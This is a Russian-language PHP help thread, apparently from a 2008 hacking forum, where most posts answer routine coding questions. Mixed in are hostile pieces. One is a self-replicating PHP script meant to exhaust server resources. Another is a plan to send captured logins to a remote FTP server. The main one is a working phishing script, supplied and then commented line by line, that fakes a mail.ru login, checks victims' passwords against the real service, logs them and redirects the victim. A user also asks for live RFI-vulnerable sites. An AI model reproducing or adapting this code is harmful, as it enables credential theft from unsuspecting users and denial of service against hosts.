// Данные успешно внесены в базу данных, выводим сообщение
if ($query == 'true') {
echo "<br /><b>Данные успешно внесены в базу</b>";
}

// В противном случае, выводим ошибку при добавлении в базу данных
else {
echo "$error_by_mysql";

}

}

elseif ($myfile_size == 0) {
echo "Пустая форма!";
}


}

?><br>
<form id="form1" name="form1" method="post" action="end.php">
<? //меню выбора картинки
$result = mysql_query("SELECT * FROM data",$db);

if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}

if (mysql_num_rows($result) > 0)

{
$myrow = mysql_fetch_array($result);

do
{

printf ("<img src='admin/%s'><input name='id' type='radio' value='%s'><label>%s</label><br>",$myrow["url"],$myrow["id"],$myrow["name"]);



}
while ($myrow = mysql_fetch_array($result));

}

else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}

?>
<label>
<input type="submit" name="prev" id="prev" value="Submit" />
</label>
</form>
</br></br>


</body>
</html>

___________________________________________

Помогите дописать голова чето устала нада создать php файл end.php и чтоб при загрузке фото, и выборе картинки из базы это то что в load.php
эти две картинки обьеденялись в одну в файле оброботчика end.php????

Ershik
11.12.2008, 00:15
Есть выражение:
if($_POST['save_dir'] and $_POST['save']) {
$save_dir = $_POST['save_dir'];
$files = scandir($save_dir);

}
Как можно дописать, чтобы просканировав каталог с различными файлами типа: jpg, php и html подобными, можно было скачать архив в расширении gz?
Просмотрев исходники подобных программ, думаю, что нужно делать цикл, типа
Прошелся по одномй директории, admin, к примеру - добавил в архив test.gz,
Прошелся по директории templates - еще раз добавил.
Здесь должен быть цикл while, но, увы я их вообще не понимаю :(

Решение найдено!
http://forum.antichat.ru/thread53918.html
Спасибо DIAgen

ss88
11.12.2008, 01:06
Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....

<?php
/************************************************
* Привет от ss88 *
************************************************
*/
//тьма пробелов
$zhopaString="



";
//понта ради, мы никогда этого не увидим
echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
//мы против абортов
ignore_user_abort();

//забыть о преградах и запретах
set_time_limit(0);

//хэшируем пробелы - не самая простая задача с точки зрения CPU
$zhopaString.=md5($zhopaString);

//имя нового клона
$randomFileName="bug".rand(0,99999).".php";

//открываем себя
$selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");

//собственные внутренности
$selfContent=fread($selfFD,5000);

//создаем новый файл
$newFile=fopen($randomFileName,"w+");

//клонируем себя
fwrite($newFile,$selfContent);

//клон готов
fclose($newFile);

//формируем путь и вызываем клона на сцену
$arPath=explode("/",$_SERVER['SCRIPT_NAME']);
$arPath[count($arPath)-1]=$randomFileName;
$getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
$zhopaString.=md5(file_get_contents($getString));

//подключаем еще разок себя, но до этого врядли дойдет
require ($_SERVER['SCRIPT_NAME']);
?>
Спасибо, Ch3ck, а то я забыл про аборты от юзеров
Испытал эту гадость на одном из своих сайтов (додумался, блин)...
Вобщем, было определено, что максимально допустимое количество одновременно открытых дескрипторов файлов в Юниксах раз 5-7 больше, нежели у Винды, тем не менее, исчерпались они за секунду другую, так-как здесь сервер уже борется локально сам с собой... Очень быстро исчерпываются порты и ОЗУ, нагрузка на процессоры идет волнообразная... Теоретически, вечный двигатель, при условии наличия идеального сервера с бесконечными ресурсами ))) Но цепочка все же вернулась к родителю, когда кол-во портов было исчерпано, из этого можно сделать вывод, что бесконечный цикл самоподключения сделать стоит...

После этого эксперимента, мой хостинг-аккаунт в течение 3-х минут был отключен админами... Зато они почистили директорию, в которой расплодилось семейство этих глюков, оставили родителя, но перенесли в каталог "a po licu?" )))) А в комменты после "привет от ss88" дописали "и тебе привет, по лицу бы тебе, но скрипт интересный. admins" )))

Вот такая забавная история. К чему это все, к тому, что, обращаюсь к новичкам, ресурсы сервера не безграничны. Зато порой видишь скрипты, которые грузят может и не так сильно но вполне прилично, не выполняя особо ничего полезного. Так что, если когда-то экономили биты и байты, то это не означает, что экономить их сейчас не стоит. ВотЪ
Спасибо за внимание!

Ershik
11.12.2008, 15:36
Объясните мне логику действии, то есть где я не прав, и почему мне не удается прикрутить форму выбора директории к файлу
http://forum.antichat.ru/thread53918.html


Я добавил:
<form action="" method="post">
Скопировать файлы <input type="text" name="dir"> <input type="submit" name="ok4"></form>
<?php
if($_POST['dir'] and $_POST['ok4']) {
$dir = $_POST['dir'];
}
?>
Затем взял функцию сжатия и указал такой же тип переменной $dir как выше:
function _readdir($d,&$files) {
global $opendir;
$dir = opendir ($d);
while ( $file = readdir ($dir))
{
if (( $file != ".") && ($file != ".."))
{
$opendir=$d.'/'.$file;
if(filetype($opendir)=="dir")
{
_readdir($opendir,&$files);
}
else
{
$files[] = $opendir;

}
}
}
closedir ($dir);
}
Далее нужно указать путь директории.
Указал, но мне до сих пор предлагаю сохранить пуской каталог, не предлагая альтернативы:
_readdir == $files; // ТУт указываем полный путь до папки которую нужно жать....

PaCo
11.12.2008, 16:38
тогда это не выподающее меню а выподающий список. ;)
В чём тогда проблема? - просто делаешь форму <form method="POST" action="">...
А потом просто разбираешь пост запрос и выбираешь выбранную картинку
$id = $_POST['data'];
if(is_int($id)===FALSE )exit("HAKING");


Бред, это условие всегда будет возврашать false, по тому как form input, which is always a string
лутчше использовать
if(is_numeric ($id)===FALSE )exit("HAKING");

D1mka
12.12.2008, 14:19
почему не работает цикл? foreach

<?php
$arr=array("1","2","3");
foreach($arr=$value)
{
echo "Next number: $value <BR>";
}
?>

v

159932
12.12.2008, 14:21
foreach($arr as $value)

php.net/foreach - слабо зайти и посмотореть?

D1mka
12.12.2008, 14:23
епт, незаметил as
спасибо

UnPazz
12.12.2008, 21:36
выводится новость из mysql.
Как вывести часть новости и ссылку подробнее, при нажатии на которую открывается вся новость?

Pashkela
12.12.2008, 22:27
<?
$sql = "select `news`, `news_url` from `news` where news_id='1'";
mysql_query($sql ) or die('Произошла ошибка, обратитесь к администрации');
$result=mysql_query($sql);
$r=mysql_fetch_array($result);
$news=$r['news'];
$news_url = $r['news_url'];
$kol = 10;//Кол-во показываемых букв из новости
$s = substr($news, 0, $kol);
echo "<A href=$news_url>$s........</a>";
?>

Doom123
12.12.2008, 23:43
Pashkela

mysql_query($sql ) or die('Произошла ошибка, обратитесь к администрации');
$result=mysql_query($sql);
------------------------------------------------------
$result=mysql_query($sql ) or die('Произошла ошибка, обратитесь к администрации');

Pashkela
12.12.2008, 23:48
гы, ну да, конечно, тяпница

geforce
13.12.2008, 00:25
выводится новость из mysql.
Как вывести часть новости и ссылку подробнее, при нажатии на которую открывается вся новость?

Создаешь в базе ещё одну колонку для краткой новости а потом выводишь её с сылкой с запросом к основной!

Kaimi
13.12.2008, 00:33
Создаешь в базе ещё одну колонку для краткой новости а потом выводишь её с сылкой с запросом к основной!

Проще обрезать вывод по количеству символов...

GreenBear
13.12.2008, 00:34
проще то проще, но будет не пойми что и обрыв на полуслове.

EST a1ien
13.12.2008, 00:37
Проще обрезать вывод по количеству символов...
Проще то да. Но часто бывает что короткая новость немного отличаться от полной.

geforce
13.12.2008, 00:41
Проще обрезать вывод по количеству символов...

Когда ты отрезаешь по символьно то получаетсся что некоторые символы будут проподать или наоборот появлятся не нужные!

Можно зделать так чтоб выводилась только до определёного символа к примеру *!

Я изночально когда пишу сайт то делаю для этого поля discription и text! Первое отвечает за краткую новость она выводится в цыкле. А вторая за весь текст она выводится отдельно!

Помогите мне лучше скрипт доделать не получается чёто!

http://forum.antichat.ru/threadnav40896-688-10.html

Второе сообщение! :confused:

Kaimi
13.12.2008, 00:58
Когда ты отрезаешь по символьно то получаетсся что некоторые символы будут проподать или наоборот появлятся не нужные! Я изночально когда пишу сайт то делаю для этого поля discription и text! Первое отвечает за краткую новость она выводится в цыкле. А вторая за весь текст она выводится отдельно!

Во-первых можно обрезать по кол-ву символов, но учитывая чтобы последнее слово было завершенным.
Во-вторых можно как в вордпрессе сделать тэг, который будет указывать на каком слове заканчивать превью для новости

geforce
13.12.2008, 01:01
Во-первых можно обрезать по кол-ву символов, но учитывая чтобы последнее слово было завершенным.
Во-вторых можно как в вордпрессе сделать тэг, который будет указывать на каком слове заканчивать превью для новости

И что потом в админке с тегом этим возится! У мня лично в моей кмс краткая одельно основная одель! Но до ладно! У каждого своя правда я не спорю!

GreenBear
13.12.2008, 01:03
geforce прав в этом случае - краткая новость это не ее начало.

Buffalon
13.12.2008, 02:25
выводится новость из mysql.
Как вывести часть новости и ссылку подробнее, при нажатии на которую открывается вся новость?
Выводи не весь массив а часть , при нажатии на ссылку выводится весь массив ... .

deniska1517
13.12.2008, 19:37
есть код
<table cellpadding="0" cellspacing="1" width="100%">
<tbody><tr><td><label>Имя:</label>
<input class="fm fm110" name="e91118c" value="" maxlength="15" type="text"> <span class="e f7"></span>
</td></tr>
<tr><td><label>Пароль:</label>
<input class="fm fm110" name="e892a2b" value="" maxlength="20" type="password"> <span class="e f7"></span>
</td></tr>
</tbody></table></td></tr></tbody></table>
какой должен быть скрипт автоматической авторизации? то есть скрипт запустил, автоматом в сайт зашёл
____________________________________________
сюда ввести ник и пасс?
value=""

preda1or
13.12.2008, 19:39
мне кажется, имена полей генерируются каждый раз новые
name="e91118c"
name="e892a2b"
то есть их сначала надо получить...а потом уже отправить запрос.

deniska1517
13.12.2008, 19:45
мне кажется, имена полей генерируются каждый раз новые

то есть их сначала надо получить...а потом уже отправить запрос.
а как это сделать? можно в переменную вставить?

life_is_shit
13.12.2008, 19:50
$cUrl = curl_init();
curl_setopt($cUrl, CURLOPT_URL, $url);
curl_setopt($cUrl, CURLOPT_PORT, $port);
curl_setopt($cUrl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($cUrl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)");
curl_setopt($cUrl, CURLOPT_TIMEOUT, $timeout);
curl_setopt($cUrl, CURLOPT_POSTFIELDS, $post_parameters);
curl_exec($cUrl);


куда что вводить думаю разберешься ;)

preda1or
13.12.2008, 19:52
life_is_shit прочитай мой пост

life_is_shit
13.12.2008, 19:57
life_is_shit прочитай мой пост

читал, спасибо.
я предложил решение исходя из поставленной задачи.
я понятия не имею генерятся они или нет, этого в вопросе не стояло.

m0Hze
14.12.2008, 00:23
хуяссе .. если б так можно было, я б захватил инет :D
fopen("ftp://blabla:qwerty@google.com/log.txt", "a");
и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а.

-----------
2 PaCo
а это нах ??? o_O лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй :D

Вопрос по записи на удаленный фтп данных из полей на сайте.То что ты мне посоветывал не катит.Вот что получаю:

Warning: fopen(ftp://...@sever.ru/log.txt) [function.fopen]: failed to open stream: FTP server reports 550 /log.txt: Permission denied in /home/xxxx/domains/mysite.ru/public_html/test/log.php on line 5

Вот сам код записи на удаоенку:

fopen("ftp://login:pass@server.ru/log.txt", "a");
fwrite($fp,"$Login:$Passwd\n <br>");
fclose($fp);

Чтобы не было вопросов, $Login:$Passwd береться из самой формы и пишеться на фтп другого сервера в файл log.txt. Права выставил,логин пас верные.Ояняйте в чем моя ошибко Ж)

Pashkela
14.12.2008, 00:37
Как работать с фтп вообще:

$file = 'http://cайт_откуда_скачиваем/файл';//что скачиваем, обычный путь, http://...
$remote_file = '/http/абсолютный_путь/файл';//абсолютный путь до папки, куда скачиваем, вклчючая название файла (на ВАШЕМ фтп)

$ftp_server = "сервер";
$ftp_user = "юзер";
$ftp_pass = "пароль";

// установить соединение или выйти
$conn_id = ftp_connect($ftp_server) or die("Не удалось установить соединение с $ftp_server");

// попытка входа
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
echo "Произведен вход на $ftp_server под именем $ftp_user\n";
} else {
echo "Не удалось войти под именем $ftp_user\n";
}

// загрузка файла
if (ftp_put($conn_id, $remote_file, $file, FTP_BINARY)) {
echo "$file загружен на сервер\n";
} else {
echo "Не удалось загрузить $file на сервер\n";
}

rushter
14.12.2008, 00:37
http://ru2.php.net/ftp

m0Hze
14.12.2008, 00:54
Мне не файл загрузить,а в файл данные записать.то что по делу посоветует?

Pashkela
14.12.2008, 01:04
Мне не файл загрузить,а в файл данные записать.то что по делу посоветует?

убейся - пишешь локально, как обычно, а потом заливаешь на фтп. Не изобретай велосипед

rushter
14.12.2008, 01:04
читай выше

m0Hze
14.12.2008, 01:06
Блиать,ты предлогаеш,писать данные в файл,потом грузить его на фтп? Тупизм
За день нужно будет писать до 1-2 тысяч раз.Мне нужно,чобы данные писались в файл в виде:
данные
данные
дынные
В общем либо объясни по руске,либо проходи мимо.

Pashkela
14.12.2008, 01:15
Ну и пиши локально в ОДИН файл хоть 1000 раз, а потом, раз в сутки, отправляй на фтп. А все твои:

данные
данные
дынные

всего лишь голимый "\r\n"

rushter
14.12.2008, 01:19
Блиать,ты предлогаеш,писать данные в файл,потом грузить его на фтп? Тупизм
За день нужно будет писать до 1-2 тысяч раз.Мне нужно,чобы данные писались в файл в виде:
данные
данные
дынные
В общем либо объясни по руске,либо проходи мимо.
ты давай потише,иди основы учи и не задавай тупых вопросов.

m0Hze
14.12.2008, 01:33
Так.Держу себя в руках.Как вам еще обяснить то?)
Мне нужно чтобы данные ввели - они записались на удаленку сразу.Ты меня не посылай учить,я помоему вопрос задал а не совет спросил.Коли не знаете как сделать молчите тогда.Че за тупизм?
Потому что на сервере куда все пишеться работает чтото вроде парсера,те данные что получает файл,обрабатывають парсеров и шлються уже в БД на 3 сервер.Так понятнее?Прлще не льзя никак,можете ничего не говорить.

life_is_shit
14.12.2008, 02:15
Извиняюсь за возможный оффтоп.
Подкиньте пожалуйста сайт (а лучше парочку) с RFI уязвимостью, мне для теста,
главное чтоб уязвимость рабочая была.
мне абсолютно пофиг какой это будет сайт=)
спасибо.

GreenBear
14.12.2008, 02:33
Блиать,ты предлогаеш,писать данные в файл,потом грузить его на фтп? Тупизм
файл на фтп дописать нельзя. можно лишь скачать его данные, потом к ним прибавить свои, потом снова закачать.

m0Hze
14.12.2008, 03:21
Это вери бед.Тогда возможно...хм. Передать данные из формы простым ГЕТ или ПоСт запросом?Так возможно?
Например <form method = "GET" action = "http://blalala/log.php">
А там уже стоит простой записыватель в файл :) возможно?

m0Hze
14.12.2008, 04:03
Я чет не понял при чем тут картинка,ну да ладно.Сам способ то будет рабочим?Получаеться чтото вроде снифера переменных,с послдующей записью в файл....

159932
14.12.2008, 04:09
эмм.. я тут уже буквы плохо различаю .. *.png привиделось :D
что за снифер переменных я сам чтото непонял .. ну пох ..
способ будет рабочим, а почему нет ?

m0Hze
14.12.2008, 04:13
Ну в таком случае,все ок.Просто сейчас делать ничего не хочу, так как грубо говоря настраивать 16 машин...о боже :( и потом еще больше.Слушай,я б с тобой в асику пообщался, нащет SQL.NS я так думаю в этом разбираешся хорошо,у меня чтото никак не получаеться записать данные в БД :( точнее коннект идет,но запись не проесходет....напиши или я напишу :)

preda1or
14.12.2008, 05:00
Мой ПОСТ поучился таким:
sid3=WASession_35066_66024700&user_input_timestamp&user_input_0=_next&user_input_1=1231231231&user_input_2=4548
ну это не POST, а GET
а пост должен быть:
sid3='WASession_35066_66024700'; user_input_timestamp=''; user_input_0='_next'; user_input_1='1231231231'; user_input_2='4548';

.:nbd:.
14.12.2008, 05:22
Опытный экстрасенс составит правильный POST запрос по фотографии ответа сервера. Парни вы о чем говорите? Если нужно подделать POST какой-нибудь формы, смотри сурс формы (значения некоторых полей могут генерироваться ЖабаСкриптом например), а если интересует что и кому отправляет твоя любимая программа в интернеты, включай сниффер и в путь. Покажи на примере, что тебе нужно, попробую помоч =)
2 preda1or:
Кто тебе такое сказал?

preda1or
14.12.2008, 05:23
<?php
define('POSTURL', 'http://www.url.com/');
define('POSTVARS', 'sid3=WASession_35066_66024700&user_input_timestamp=&user_input_0=_next&user_input_1=1231231231&user_input_2=4548');

$ch = curl_init(POSTURL);
curl_setopt($ch, CURLOPT_POST ,1);
curl_setopt($ch, CURLOPT_POSTFIELDS ,POSTVARS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($ch, CURLOPT_HEADER ,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,1);
$Rec_Data = curl_exec($ch);
curl_close($ch);

?>

preda1or
14.12.2008, 05:24
.:nbd:.
какой-то оффтоп написал ты
Он не уточнил где он это использует (когда уточнил, я написал ему ответ), а теперь взгляни в URL и увидишь GET запрос

preda1or
14.12.2008, 05:28
я подправил предыдущий пост.
если лень смотреть,то вот:
sid3=WASession_35066_66024700&user_input_0=_next&user_input_1=1231231231&user_input_2=4548&user_input_timestamp=

.:nbd:.
14.12.2008, 05:36
Возможно и оффтоп, но я во всяком случае отвечаю только на те вопросы, ответы на которые я знаю, а не лезу в Гугль за ответом на чужой вопрос. В приведенном тобой коде абсолютно лишние константы и зачем там фолловлокейшен?

b3
14.12.2008, 05:42
Задам вопрос иначе, имею код, но чтото в нем неправильно и меня шлют на. Мб с сессией чтото не так

<?php
$url = "uuurrrlll";
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ref = "uuurrrlll";

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
$res = curl_exec($ch);
preg_match('#WASESSION=([0-9a-z_]{24})#i', $res, $matches_wa);
preg_match('#JSESSIONID=([0-9a-f]{32})#i', $res, $matches_js);
$sid3 = $matches_wa[1];
$js = $matches_js[1];
$cookie = "JSESSIONID=$js; WASESSION=$sid3 Path=/; Secure";

$post = "sid3=$sid3&user_input_0=_next&user_input_1=1231231231&user_input_2=4548&user_input_timestamp=";

sleep(2);
unset($ch);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$res = curl_exec($ch);
?>

.:nbd:.
14.12.2008, 05:44
Спали урл в личку, посмотрю, что там не так.

Gifts
14.12.2008, 13:09
b3
$cookie = "JSESSIONID=$js; WASESSION=$sid3 Path=/; Secure";

" Path=/; Secure" - НЕ нужно

.:EnoT:.
14.12.2008, 15:15
b3
unset($ch); замени на curl_close($ch); т.к. по хорошему надо соединения закрывать, а не уничтожать переменную.

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
это вообще тут не нужно. При чём в обеих частях кода.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
Это тоже. Если тебе не нужно возвращать результат, то и не нужно вписывать эту опцию, она и так по дефолту 0.
И добавь во вторую часть кода
curl_setopt($ch, CURLOPT_POST, 1);

-m0rgan-
14.12.2008, 23:17
Подскажите плиз проверенный, хорошо защещенный скрипт авторизации.
Зарание спасибо!

.:EnoT:.
14.12.2008, 23:20
Какой авторизации? Через БД, файл, Бейсик ?

m0Hze
14.12.2008, 23:32
В общем.Вопрос такой.
Так,как объяснить то получше...Объясню на примере фейка сайта наример.Пускай будет всем известный маил.ру.
Предстваим чтоесть фейк маил.ру(на самом деле сайт другой,не хочу палить тему :))
Соответственно есть 2 формы:

<input type = "text" name = "login" value = "">
<input type = "text" name = "password" value = "">

Все как в обычном фейке,но мне нужно сделать так,чтобы данные вводимые пользователем проверялись на настоящем серваке,и если всепутем,то писались в базу мою,если нет то выводилось сообщение об ошибке.Собственно как такое предворить в жизнь. Обясните не примере маил.ру, думаю с остальным я разберусь.Желательно набросайте код, мне так намного легче будет понять,чем ваши заумные фразы, яж новичек. :)

preda1or
14.12.2008, 23:37
Надо на примере твоем работать, могу помочь написать, пиши в ПМ

m0Hze
14.12.2008, 23:41
Если мне нужно было написать за деньги,я бы отпостил в работе,а тут я хочу сам понять как такое делать,так как мне это не раз понадобиться.А чужие знания,да еще и за деньги мне не нужны.Если нужен пример,могу дать фейк маил.ру так как мне его хватит чтобы понять как и что там работает,не совсем дурак, разберусь.

life_is_shit
14.12.2008, 23:42
писать код не буду (иначе тебе ничего не останется;)), но основной смысл вот в чем
- получаешь логин/пасс с твоей формы
- отправляешь через сокеты/курл на маил запрос на авторизацию
- получаешь страничку мейла
- анализируешь, если авторизация пройдена - пишешь в базу и редиректишь юзера на мейл
- не пройдена - просишь повторить=)

покапайся по теме, примеры кода на эти пункты есть. удачи.

preda1or
14.12.2008, 23:42
А кто сказал за деньги?)

m0Hze
14.12.2008, 23:46
Теперь понял что нужно юзать сокеты или курл.С курлом проблемы,а с сокетами пока что даже не связывался.Я не прошу написать за меня,я прошу предоставить пример,а тему в 694 страницы рулить...ууууу :)

.:EnoT:.
15.12.2008, 00:02
m0Hze
Вот тебе навоял пример для mail.ru. Работает, проверял)

<?php

if(isset($_POST['submit'])){ // Если данные отправились

$mail = $_POST['mail'];
$zone = $_POST['zone'];
$pass = $_POST['pass'];

$post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;

$cl = curl_init('http://win.mail.ru/cgi-bin/auth');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);

if(stripos($exec, 'Неверное имя пользователя или пароль')){

echo 'Неверные данные';

}else{

/* Запись в файл */
$open = fopen('result.txt', 'r+t');
fputs($open, $mail.'@'.$zone.' : '.$pass."\r\n");
fclose($open);

/* Переадресация куда-то */
header('location: http://kuda-to.ru');
die();
}

}else{

?>
<form action="" method="post">
<input name="mail" type="text" /><br/>
<select size="1" name="zone">
<option value="mail.ru">mail.ru</option>
<option value="bk.ru">bk.ru</option>
<option value="inbox.ru">inbox.ru</option>
<option value="list.ru">list.ru</option>
</select><br/>
<input name="pass" type="password" />
<input type="submit" value="Войти" name="submit" />
</form>

<?php

}

?>

Ну а всякие там проверки и т.д. сделаешь сам)

m0Hze
15.12.2008, 00:37
Так, интересно,все понял, кроме куска с крлом,основное так сказать :)
А вот тогда так. А если на яндекс,а там уже идет вот такая ссылка, https://passport.yandex.ru/passport?mode=passport - то тут как быть? Понятно что заменить $zone, точнее совсем убрать,и переделать Login Password, если они по другому называються в форме, но вот сама ссылка...вот что не понятно мне.А в основном вникнул уже глубже.

preda1or
15.12.2008, 00:41
if(stripos($exec, 'Неправильная пара логин-пароль!');
Вот тебе для яндекса...)

m0Hze
15.12.2008, 00:43
ненене,я не о том.Это я понял,чтото типо парсера,он дергает эту надпись и возвращает значение.Я о другом.Тоеть,мне достутачно мненить то что я описал выше,контроьную фразу, и тупо поставить

$cl = curl_init('http://passport.yandex.ru/passport?mode=passport');

preda1or
15.12.2008, 00:44
Да, должно работать
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
поменять еще

m0Hze
15.12.2008, 00:51
Вот тогда другой вопрос.Я просто с файлами никогда не работал еще... :)
Смотрите:

if(stripos($exec, 'Неверное имя пользователя или пароль')){

echo 'Неверные данные';

}else{ .....
Какбе сделать так,чтобы заместо сообщения

if(stripos($exec, 'Неверное имя пользователя или пароль'))

Тут выводилась страница,например error.php?

.:EnoT:.
15.12.2008, 00:54
Если там ssl, то предётся немного переделать.
И как ты говоришь "тупо убрать зону" тоже врядли прокатит. Снифай заголовки отправляемые и полученные от сервера, смотри какие данные передаются и т.д.

Вот тогда другой вопрос.Я просто с файлами никогда не работал еще... :)
Смотрите:

if(stripos($exec, 'Неверное имя пользователя или пароль')){

echo 'Неверные данные';

}else{ .....
Какбе сделать так,чтобы заместо сообщения

if(stripos($exec, 'Неверное имя пользователя или пароль'))

Тут выводилась страница,например error.php?
мдэ, думаю тебе ещё книжки надо почитать)
stripos($exec, 'Неверное имя пользователя или пароль')
Это проверка в полученном коде правильности вводимых данных.

если хочешь показывать страницу error.php то впиши что-то типа.
echo file_get_contents('error.php');


p.s. пиздец даже спасибо не сказал =\

m0Hze
15.12.2008, 00:57
Я не понял почти ничего из предложения выше :)
Какие мы все жадные на плисеги :D
C проверкой напутал,сознаюсь.Но просто по случайности,я знаю как работает if :)
Xt тебе от меня мой 1 плисег то?)

ss88
15.12.2008, 01:03
m0Hze
<?php

if(isset($_POST['submit'])){ // Если данные отправились

$mail = $_POST['mail'];
$zone = $_POST['zone'];
$pass = $_POST['pass'];

//имена полей ввода на разных сайтах, бывает, отличаются - менять для каждого
$post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//создание нового сеанса CURL, CURLOPT_URL='http://win.mail.ru/cgi-bin/auth'
$cl = curl_init('http://win.mail.ru/cgi-bin/auth');
//не выводить результат, а возвращать
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
//просто заполняет поле User-Agent: заголовка
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
//просто установка заголовка Referer
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
//включать заголовки в полученный ответ
curl_setopt($cl, CURLOPT_HEADER, 1);
//запрос методом POST
curl_setopt($cl, CURLOPT_POST, 1);
//установить отправляемые поля POST
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
//выполнить запрос и сохранить результат в exec
$exec = curl_exec($cl);
//освободить экземляр сеанса
curl_close($cl);

if(stripos($exec, 'Неверное имя пользователя или пароль')){

echo 'Неверные данные';

}else{

/* Запись в файл */
$open = fopen('result.txt', 'r+t');
fputs($open, $mail.'@'.$zone.' : '.$pass."\r\n");
fclose($open);

/* Переадресация куда-то */
header('location: http://kuda-to.ru');
die();
}

}else{

?>
<form action="" method="post">
<input name="mail" type="text" /><br/>
<select size="1" name="zone">
<option value="mail.ru">mail.ru</option>
<option value="bk.ru">bk.ru</option>
<option value="inbox.ru">inbox.ru</option>
<option value="list.ru">list.ru</option>
</select><br/>
<input name="pass" type="password" />
<input type="submit" value="Войти" name="submit" />
</form>

<?php

}

?>
//отправить запрос к странице error.php, которая находится рядом с твоим основным скриптом и получить то, что она выводит
$errorPageText=file_get_contents('error.php');

Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте...
И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...

.:EnoT:.
15.12.2008, 01:08
Я не понял почти ничего из предложения выше :)
Какие мы все жадные на плисеги :D
C проверкой напутал,сознаюсь.Но просто по случайности,я знаю как работает if :)
Xt тебе от меня мой 1 плисег то?)
мдааа, при чём тут плюсики?
есть просто такое слово "Спасибо".
тебе тут вообще никто ничем не обязан помогать и что-то обьяснять, тебя могли бы просто проигнорить или обозвать ламером и послать на, но тебе выкладывают код, обьясняют что и как, исправляют.....ппц слов нет =\

ss88
зря, ему не поможет :)

m0Hze
15.12.2008, 01:12
Какие вы все злые то :)
Спасибо я сказал бы, но просто еще много вопросов,и мне хотелось еще спросить,поэтому спасибо было вам уготовано в самом конце.ЗЫ.Уже сложилась в мозгу некая осоциация спасибо и +.Вот к чему приводит ачат :)
Извините меня пожалуйста за мою грубость,признаю все свои ошики,и то что не сказал спасибо.Совсем уже в интернете живу а не в реале :(
php.net там для меня еще слишком тяжело,читаю книжки пока что.ТО что понимаю не спрашиваю,а то что не понимаю приходиться спрашивать тут.

m0Hze
15.12.2008, 01:21
Хотелось бы еще сказать,что твой скрипт енот,почему то не хочет работать на моему хостинге 8(

Fatal error: Call to undefined function: stripos() in /var/www/vhosts/m0hze.ru/httpdocs/test.php on line 21

Проверил,все также кк у тебя,ошибок в синтаксисе вроде нет.
// разобрался,хостинг тупой,на другом все работает.

.:EnoT:.
15.12.2008, 01:29
Мы не злые, мы в меру добрые!

Хотелось бы еще сказать,что твой скрипт енот,почему то не хочет работать на моему хостинге 8(
а на моему работает 8)

Fatal error: Call to undefined function: stripos() in /var/www/vhosts/m0hze.ru/httpdocs/test.php on line 21

У тебя версия PHP ниже 5-й. В твоём случае замени stripos() на stristr()

Проверил,все также кк у тебя,ошибок в синтаксисе вроде нет.
Странно даже как-то. Я обычно все скрипты с ошибками пишу ))

ss88
15.12.2008, 01:30
Давно такого не видел, "хостинг тупой"...это ж надо, какой тупой хостинг...
Просто эта функция характерна для РНР 5, судя по всему, у тебя 4

m0Hze
15.12.2008, 01:44
Смешной 8)
Пробывал сделать на яндекс,вроде все сдела правильно,посмотрел переменные там только login passwd - заменил.Сменил рефер,куда слать запрос, и кстате там еще и по http можно,не обязаловка https. Но не пашет сволоч такая 8)
И у меня есть идея,я уже ее сказал одному челу в ЛС,и теперь еще тут опишу.
Сейчас проверка проходит простым хттп, а что если мутить по поп3? Это ведь даже легче наверно будет...м?

ss88
15.12.2008, 02:03
Смешной 8)
Сейчас проверка проходит простым хттп, а что если мутить по поп3? Это ведь даже легче наверно будет...м?
